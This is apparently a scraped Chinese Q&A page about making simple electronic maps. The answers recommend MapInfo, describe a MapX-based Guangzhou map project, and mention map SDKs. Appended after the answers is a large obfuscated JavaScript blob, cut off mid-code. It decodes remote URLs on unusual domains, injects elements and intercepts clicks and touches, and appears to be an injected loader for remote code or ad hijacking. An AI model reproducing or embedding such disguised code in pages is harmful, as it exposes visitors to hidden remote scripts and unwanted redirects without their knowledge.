如何制作简单的电子地图

2025-03-03 19:38:23
推荐回答(4个)
回答1:

如果想做的专业一些的话,用专业的做地图的软件mapinfo

下载地址:
www.mapinfo.com.cn 是mapinfo的中国官方网站http://lib.verycd.com/2005/04/07/0000045369.html
使用emule下载
emule的下载地址:http://www.emule.org.cn/download/

MapInfo地理信息系统平台作为一个图形-文字信息完善结合的软件工具,能将所需要的信息资料形象、直观地与地理图形紧密地联结起来,能提供大量常用的分析、查询功能,能将结果以图形或表格的方式显示出来。

MapInfo软件提供与一些常用数据库的接口,可以直接或间接地与这些数据库进行数据交换。 MapInfo软件提供的开发工具MapBasic, 可完成用户在图形、界面、查询、分析等方面的各种要求,以形成全用户化的应用集成。配接多媒体系统可使用户对 地图进行多媒体查询。MapInfo软件适用于军队管理与指挥、市场营销、城市规划、市政管理、公安交通、邮电通讯、石油地质、土地资源、人口管理、金融保险等各个应用领域,能对用户的管理、决策提供有力的支持与帮助。
一、强大的图形表达、处理功能

MapInfo做为一种功能强大的图形软件,利用点、线、区域等多种图形元素,及丰富的地图符号、文本类型、线型、填充模式和颜色等表现类型,可详尽、直观、形象地完成电子地图数据的显示。同时MapInfo对于位图文件(如GIF、TIF、PCX、BMP、TGA等多种格式的位图文件)和卫片(SPOT)、航片、照片等栅格图象,也可以进行屏幕显示,根据实际需要还可以对其进行矢量化。此外,DXF格式(AutoCAD和其它CAD软件包的图形/数据交换格式)的数据文件,也可以直接运用于MapInfo当中。在图形处理方面,它提供了功能强大的编图工具箱,用户可以对各种图形元素任意进行增加、删除、修改等基本编辑操作。

MapInfo所处理的电子地图与一般地图不同。一般的地图,各类要素、信息集中在一起,不利于不同用户对不同的地理信息的查询使用。MapInfo对地图是分层处理,用户可以通过图形分层技术,根据自己的不同需求或一定的标准对各种图形元素进行分层组合,将一张地图分成不同图层。例如对于某个城市图,可分为区划、道路、河流、建筑物、标注等若干层。对于每一个图层又可以针对其信息数据的不同内容要求,运用不同的数据格式和不同的数据库类型如(dBase、FoxBase、Lotus1-2-3、Oracle、Sybase等)。 而在用户对图形或数据库进行显示、编辑、查询等操作时,又可以对任意图层实现自动标注。对标注的大小、字 体、位置、内容、颜色还可随时根据需要进行修改。为提高做图效率, MapInfo设有装饰层,用户可将所画的图形在装饰层里编辑,认可后再存入相应层。利用MapInfo提供的视图工具(Zoom tool), 用户可对矢量图形和光栅图象进行任意比例的无级缩放,可纵览全局,亦可细观局部。为了满足某些用户对于地理坐标系统的特殊需求,MapInfo不仅提供有几百种地理投影模式可供选择,用户还可以通过编辑投影参数,定义自己的地图投影模式。

二、实用的关系型数据库功能

MapInfo具有动态联接的关系型数据库的功能。MapInfo可以直接读取dBase、FoxBase、Clipper、Lotus1-2-3、Microsoft Excel及ASCII文件。在客户\服务器(Client\ server)的网格环境中 ,通过SQL DATALINK数据联接软件包提供的QELIB、ODBC接口,可以同远程服务器联接,直接读取Sybase、Oracle、INGRES、DB/2 DataBase Manager 、 SQLBase 、Netware SQL 、 XDB等十几种大型数据库中的数据信息。MapInfo还可以将数据文件及图形目标的图形属性转换成mif、mid格式的AsCII文件,供其它用户使用。

MapInfo可以运用地理编码(GeoCode)的功能,根据各数据点的地理坐标或空间地址(如省市、街区、楼层、房间等),将数据库的数据与其在地图上相对应的图形元素一一对应。通过完成数据库与图形的有机结合,实现在图形的基础上对数据库进行操作。

MapInfo引进了靶区(Target)的概念。通过设定靶区,不仅可以实现各图形对象之间的数据项的合并和分离,而且可以完成对靶区局部图形对象及数据库内容的清除(Erase)和迭加 (Overlay)处理。MapInfo自备内置关系数据库,用户可以自由定义。每个库可有255个字段(field),20亿条记录。

三、灵活的数据查询分析功能

MapInfo的精华是其分析查询功能,即它能够精确地在屏幕上查询、分析与其相应的地理数据库信息。面对大量的数据,仅对其进行数学统计就已经是一项非常繁重的工作,更何况进行 精确的分类、查询和判断分析。对于相对比较简单的分析查询,MapInfo提供了对象(Object)查询工具、区域(包括矩形、圆形和多边形的区域)查询工具、缓冲区(Buffer)查询、和一些常用的逻辑与数据的分析查询函数,用户随时可运用灵活的查询工具(Info tools)或运用函数建立表达式(Expression)的方式完成;而对较复杂的分析查询,则可通过运行MapBasic编写的查询程序命令来实现。

四、多样化的数据可视表达方式

MapInfo采用了地图(Map)、浏览表格(Browser)及直观图(Graph)等三种不同的方式对数据库内容进行描述,这三种视图均可动态联接。当用户改变某一张视图的数据时,其它视图会实时自动地作相应的变化。

对于信息数据和查询分析的结果,MapInfo还可以采用专题图(ThematicMap)的显示方式,它以柱状图(Bar chart)、圆饼图(Pie chart)、点密度图(DotDensity)、区块图(Ranges)、数量分级图( Graduated )等多种显示模式,运用用户自定义的颜色、填充模式、图形图例等图形显示类型,直观、生动地把数据和分析查询结果显示在屏幕上,便于用户迅速地了解和判断有关的信息数据和查询结果。

五、功能强大的系统开发工具

MapInfo系统软件提供MapBasic作为与MapInfo配套的开发工具。用户使用MapBasic,可以设计、建立符合自己特点和要求的纯用户化的应用系统。作为一种结构化语言,MapBasic提供了380多种函数和命令语句,既简洁明了、易于学习,又具有强大的功能,可以完成用户的各种需求。与传统的GIS软件相比较,良好的软件集成环境和面向对象及事件驱动的编程思想,都是MapBasic的优点。

针对各类用户的不同需求,用MapBasic可以迅速地制定出用户特需的菜单、按钮盒或对话框等,用户不仅可以修改标准的MI菜单,而且可在原菜单条上增加新的菜单项。使用MapBasic用户可方便、准确地绘制经、纬度线,避免手工绘制的枯燥以及可能引起的误差;也可以设计各种新的图形符号。

MapBasic含有一系列SQL函数和许多非常实用的语句,大大增强了对数据进行操作的能力。如仅用一条非常简单的MapBasic的 Select语句,就可以进行对数据库的查询工作,实现对数据排 序、求和、过滤等操作。此外,MapBasic所提供的一系列对 MapInfo的表(Table)或其它类型的表格(如dBASE、FoxBase、Lotus、ASCII或Excel的表格文件)进行操作的命令和函数,可完成对表的各种操作(如打开、新建或修改表等),进行对数据对象的各种编辑操作。利用MapBasic还可以将多媒体技术引入地理信息系统,可以使系统更加形象、生动。

MapBasic提供了MapInfo和其它应用程序的接口,MapBasic的开放式体系结构允许程序员调用外部函数中的例程。例如MapBasic 不仅可以利用DDE(Dynamic Data Exchange)调用其它软件中的程序(C语言、Visual Basic的应用程序),还可以调用Windows DLL(Dynamic Link Libary)中的例程。用户还可以通过运用MapBasic编写的执行程序,来完成在工作中复杂的例行工序,这样就可以将日常烦琐的例行工作交给了计算机处理,不仅能够大大的提高工作效率,而且还将管理人员从完全不必要的精力消耗中彻底解放出来。

六、方便灵活的图形输入输出功能

对于图形的输入和输出,MapInfo也提供了强有力的支持。使用MapInfo软件可处理通过扫描仪、数字化仪输入的数据信息。如果利用美国DTC公司(Digitizer Technology Company)所生产的VTI(Virtual Table Interfae)接口软件,MapInfo可与当前国际流行的Summagraphics、Calcomp等200多种数字化仪连接。利用其相应的硬件支撑平台,MapInfo在灵活的调整了版面内容及其间的相对比例之后,可以通过彩色绘图仪、打印机输出任意比例的图形、电子表格、图表及图例,或直接将窗口中显示的矢量地图转成 bmp文件或Metafile文件。

七、支持多种硬件操作平台

MapInfo能够支持多种硬件操作平台及适应较低的工作环境。MapInfo和MapBasic有可用于DOS、Windows 3.1、Windows 95、Windows NT Tm 、Macintosh、Sun和Hp等多种硬件平台的版本,而且用MapBasic编写的程序可以运行于任意一种硬件平台之上。 用户可以根据自己的实际要求和经济承受能力选用适当的产品。

八、快速、准确的GPS连接能力

MapInfo提供了良好的地图环境,为GPS提供了相应的控制显示技术,使GPS跟踪目标能实时地、准确地显示在当前地图中,并显示当前跟踪目标的经纬度。

九、高精度的地图数据产品

MapInfo还提供有全球范围可分为十几个图层的地理图形的矢量数据产品,其中主要包括人文地理、行政区划、公路交通、人口统计、自然资源等方面的内容。局部地区的数据可达到街区一级的精度。 有了这些数据产品,用户就可以直接与自己的数据库联接,实现数据库内容的可视化管理。

http://www.zgconline.com/microsoft/mapinfo/

http://zhidao.baidu.com/question/1190514.html

回答2:

一、前言

电子地图技术是集地理信息系统技术、数字制图技术、多媒体技术和虚拟现实技术等多项现代技术为一体的综合技术。电子地图是一种以可视化的数字地图为背景,用文本、照片、图表、声音、动画、视频等多媒体为表现手段的展示
城市、企业、旅游景点等区域综合面貌的现代信息产品,它可存贮于计算机外存,以只读光盘、网络等形式传播,以桌面计算机或触摸屏计算机等形式提供大众使用。由于电子地图产品结合了数字制图技术的可视化功能、GIS技术的数据查询与分析功能以及多媒体技术和虚拟现实技术的信息表现手段,加上现代电子传播技术的作用,它一出现就赢得了社会的广泛兴趣,尤其是政府部门、企业管理部门以及大众,故有“大众GIS”之称。

一般而言,城市地形数据的更新步伐受社会经济的影响很大,城市发展越快,它的更新周期就越短,反之亦然。 广州这几年的发展日新月异,尤其是经过“小变和中变”后,城市面貌得到了很大改观,很难想象这座年轻的城市经过2010年的“大变”后,又将呈现怎样的面貌?因此,很好地利用我们现有的数据资源,真正发挥它的用武之地,使它的无形损耗降到最少,从而服务社会、产生良好的经济效益,已变成了当务之急!

数据利用只是数据挖掘中的一个重要环节,也是最具灵活性的一环,它是数据挖掘的终点,也是数据市场化的一个开端。 本文主要讨论了用广州市1:10000矢量地形数据制作大比例尺电子地图的方案与可行度,以供参考和借鉴。

二、ActiveX控件的概念

ActiveX控件是充分利用OLE和ActiveX技术的自定义控件,是基于与应用程序无关的思想而设计的,其目标是提供一种面向对象、与操作系统无关、与机器平台无关、可以在应用程序之间互相访问对象的机制。

ActiveX控件是建立在COM标准上的独立的软件元件,提供给用户应用接口,发送相应的事件,开发者则可以截取这些事件,执行相应的功能。ActiveX控件开发端和使用端是完全独立的,可以用Delphi、VB、VC等各种语言来开发,又可以用于不同语言、不同开发平台、不同的系统环境中。

ActiveX控件与VBX不同,VBX的标准是建立在16位段式结构的基础上,并不适用于32位环境。ActiveX控件可在32位环境下提供与VBX相类似的功能。一个或多个ActiveX控件会保存在一个动态链接库中,但它是一种特殊的动态链接库, 其扩展名不是DLL而是OCX。从本质上讲,ActiveX控件是一个ActiveX服务器,它能提供所有的OLE功能和服务,包括可视化编辑、拖放和OLE Automation。

1、组件技术与GIS的发展

组件式软件技术已经成为当今软件技术的潮流之一,为了适应这种技术潮流,GIS软件象其他软件一样,已经或正在发生着革命性的变化,即由过去厂家提供了全部系统或者具有二次开发功能的软件,过渡到提供组件由用户自己再开发的方向上来。无疑,组件式GIS技术将给整个GIS技术体系和应用模式带来巨大影响。

GIS技术的发展,在软件模式上经历了功能模块、包式软件、核心式软件,从而发展到组件式GIS和WebGIS的过程。传统GIS虽然在功能上已经比较成熟,但是由于这些系统多是基于十多年前的软件技术开发的,属于独立封闭的系统。同时,GIS软件变得日益庞大,用户难以掌握,费用昂贵,阻碍了GIS的普及和应用。组件式GIS的出现为传统GIS面临的多种问题提供了全新的解决思路。

组件式GIS的基本思想是把GIS的各大功能模块划分为几个控件,每个控件完成不同的功能。各个GIS控件之间, 以及GIS控件与其它非GIS控件之间,可以方便地通过可视化的软件开发工具集成起来,形成最终的GIS应用。控件如同一堆各式各样的积木,他们分别实现不同的功能(包括GIS和非GIS功能),根据需要把实现各种功能的 “积木” 搭建起来,就构成应用系统。

2、组件式GIS系统的特点

把GIS的功能适当抽象,以组件形式供开发者使用,将带来许多传统GIS工具无法比拟的优点,主要有:

(1)小巧灵活、价格便宜;
(2)无须专门GIS开发语言,直接嵌入MIS开发工具;
(3)强大的GIS功能;
(4)开发简捷;
(5)更加大众化。

总而言之,组件式GIS肯定是未来GIS发展的主流,鉴于此,本电子地图的核心技术就是以MapX为基础来研究的。

三、 MapX的空间数据结构

空间数据结构,是GIS的基石,GIS就是通过这种地理空间拓扑结构建立地理图形的空间数据模型并定义各空间数据之间的关系,从而实现地理图形和数据库的结合,见图1。

从横向分析,MapX采取的空间数据结构是基于空间实体和空间索引相结合的一种结构。

空间实体是地理图形的抽象模型,主要包括点、线、面三种类型。任何点、线、面实体都可以用直角坐标点x、y来表示。点可以表示成一组坐标(x,y),对于线和面,则均被表示成多组坐标(x1,y1;x2,y2;......;xn,yn)。空间索引是查询空间实体的一种机制,通过空间索引,就能够以尽量快的速度查询到给定坐标范围内的空间实体及其所对应的数据。

从纵向分析,MapX的空间数据结构是一种分层存放的结构。用户可以通过图形分层技术,根据自己的需求或一定的标准对各种空间实体进行分层组合,将一张地图分成不同图层。采用这种分层存放的结构,可以提高图形的搜索速度,便于各种不同数据的灵活调用、更新和管理。

四、电子地图制作步骤

基于开发经验,本研究主要以Mapx为基础,研究开发该电子地图。有些步骤虽然简单,技术要求不高,但是却很基础,很繁杂,这里就不再详细论述了,只给出关键的步骤。

1、将现有的矢量地形图数据转成*.dxf格式的文件 (建议分层转换);
2、然后将该文件导入Mapinfo中,作必要的处理,使地形图更加合理、美观、大方。文件存盘后将生成五种格式的文件。其中有四个基本文件:属性数据表结构文件 (.TAB)、属性数据文件(.DAT)、交叉索引文件(.ID)和空间数据文件(.MAP)。如果对属性数据进行索引,还需要索引文件(.IND)。用Mapx的管理工具打开,保存为*.GST文本文件;
3、为需要属性的地物建立相应的数据库;
4、利用开发语言如Visual Basic,Visual c++等进行开发,生成*.EXE二进制的电子地图。

五、本电子地图所含内容

1、城市概略:包括广州的影像、三维图,广州在全国的地理位置,城市简介,人口分布、区域面积,经济文化
特色等等。
2、旅游线路:包括景点的分布、特色、查询、图片等等。
3、高等教育:包括高校的介绍、分布、规模、特色、图片等等。
4、商场购物:包括商场的分布,较大商场的地址、最近的公交线路、办公电话、规模、特色、网址等等。
5、酒店饮食:包括酒店的分布、较大规模酒店的地址、订座电话、公交路线、特色菜系、规模、网址等等。
6、书店分布:包括书店的总体分布,较大书店的地址、公交线路、购书电话、图书特色、书店规模介绍等等。
7、公交查询:包括公交车辆、路线的查询,以及从一点到另一点的最短乘车路线、车辆的查询等等。
8、交通咨询:包括广州航班号的时间表,同时也有途经广州或广州出发火车的起始时间和途径的站名,另外还有各个港口的轮船时间表,地铁站点等等。
9、地名查询:包括街巷、主要建筑、公园等等名称的查询。
10、医疗保健:包括各大医院的分布图以及它的规模、
联系方式、主治特长等等。
11、花城花絮:收录了其他的一些内容,比如急救、火警等一些特殊部门的电话,花城的一些新闻、传说、故事等。
当然,这些内容还可以根据实际情况加以添减,这里仅做一个概述,以供参考。

六、电子地图的比较

1、以往电子地图的特点

随着地理信息技术的成熟,国内相继出现了一些电子地图产品,但他们或多或少都存在着如下的缺点:

(1)图面粗糙。很少用到多媒体技术,没能做到“声色并茂”,电子地图的人性化差;
(2)采用栅格地图形式,其优点是能详细地显示地物,但放大或缩小到一定程度后,地物就无法识别(放大成马赛克,缩小则成黑点),同时这种方法也缺少交互性,多媒体技术不能很好的发挥,另外这种电子地图的更新难度较大, 要浪费大量的人力物力;
(3)采用矢量地图形式,较前一种方法有了较大改善,但依然没能和数据库很好地结合,地图的交互功能不能充分体现,另外,它是通过在地图上放置热点来显示地物信 息,缺乏一定的灵活性;
(4)地物层次单一。没有采用分层技术,使不同性质和
不同类型的地物位于一层,不能很好地控制地物的显示,在地图缩小到一定程度后地物无法判别,同时加大了更新的难度;
(5)、分析功能差。以往的电子地图很少提供分析功能;
(6)、显示速度差。当涉及到海量数据的时候,在地图显示或分析时,速度大打折扣。

2、本电子地图的特点

本电子地图在很大程度上克服了以往电子地图的缺点, 充分发挥多媒体和地理信息技术的特点,其优点如下:
(1)界面美观。可充分发挥多媒体技术和三维影像技术的特长,制作出声、像俱佳的电子地图,使电子地图“能说会道”;
(2)独立性强。不需要其他辅助软件的支持;
(3)交互功能好。使用最新的技术,提供完备的交互功能;
(4)更新容易。每一种产品都有一定的使用期限,数据也是一种产品,但又不同于一般产品,数据一般可以进行更新和维护,但选择的方法不同,维护和更新的手段和难度就大相径庭。本电子地图采用数据库技术,图形和数据分开存放,从而大大减轻了大批量数据对系统所产生的压力。同时可以把更新属性数据和更新图形分开,便于很好的分工合作,降低了工作难度;
(5)地图分析。可结合数据库中的数据,制作出相应的专题地图,形象地表达数据内部和数据之间隐含的联系, 同时可对未来的趋势加以预测;
(6)分层功能。本电子地图采用分层技术,每一层对应相应的地物信息,同时可以控制它的显示范围,使地图在放大和缩小后,地物能很好地显示出来。另外,用户也可以根据自己的需要,控制图层的可见度以及每一图层的可见范围,以便突出显示相应图层的地物;
(7)查询功能。可进行点、线、面的查询,例如查询地图上以点表示的酒店的名称、面积、规模,以及地物的界线、面状地物的信息等等;
(8)功能齐全。包括放大、缩小、漫游、测距、视图控制等功能。
本电子地图目前正处于研究阶段,下面以本人在其它软件中的开发实例说明它的可行度,见下页图2至图6:

五、功能扩展

众所周知,目前的浏览器大多不支持矢量格式的显示, 要想在网上显示,一种办法是运用特殊的格式,比如现在较流行的Flash矢量动画格式(swf),以前版本的浏览器也是不支持的。另外就是借助于插件技术,前面提到,Mapx是一种标准的Active控件,可以借助它在Internet上显示矢量格式的地图,毕竟,网络是未来发展的主流。M apinfo公司推出的网上地图服务软件Mapxtreme就是以Mapx为核心,在Mapx下开发的产品,可以借助Mapxtreme在网上很容易的发布、管理。

后记:随着计算机的普及,电子传媒介质得到飞速发展,本电子地图涉及面广,质量高,技术先进。有一到两张光盘的容量,可由光盘配合相应的说明书一起发售,可在广州乃至全国范围发行。另外,也可采用触摸屏技术,将其安放在公共场所以供查阅欣赏,市场前景十分广阔。

参考文献:
1、Mapinfo中国总代理;《MapX 培训教程》;方 正 数码Mapinfo事业部;2001年。
2、童瑞华,《利用MapX开发Mapinfo》;国防科技大学论 文;1999年。
3、齐超、何新华、蔡红柳、苏晓燕;《利用MapX控件构建地图应用》;装甲兵工程学院信息工程系网络教研室论文;1998年。
4、戴国忠;《基于GIS组件MapX的机载辅助导航系统的设计与实现》;中国科学院软件研究所(北京)论文; 1999年。
5、管志杰、赵政;《使用MapX开发地理信息系统》;微型电脑应用;1999年。
6、齐超、何新华;《基于MapX控件的电子地图控制》; 计算机应用2000年12月。
7、[美]John W.fronckowiak、David J.Helda;《Visual Basic 6 数据库编程大全》;电子工业出版社;2000年。

回答3:

用百度地图 或者高德地图提供的sdk 就可以了

回答4:

不知道

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 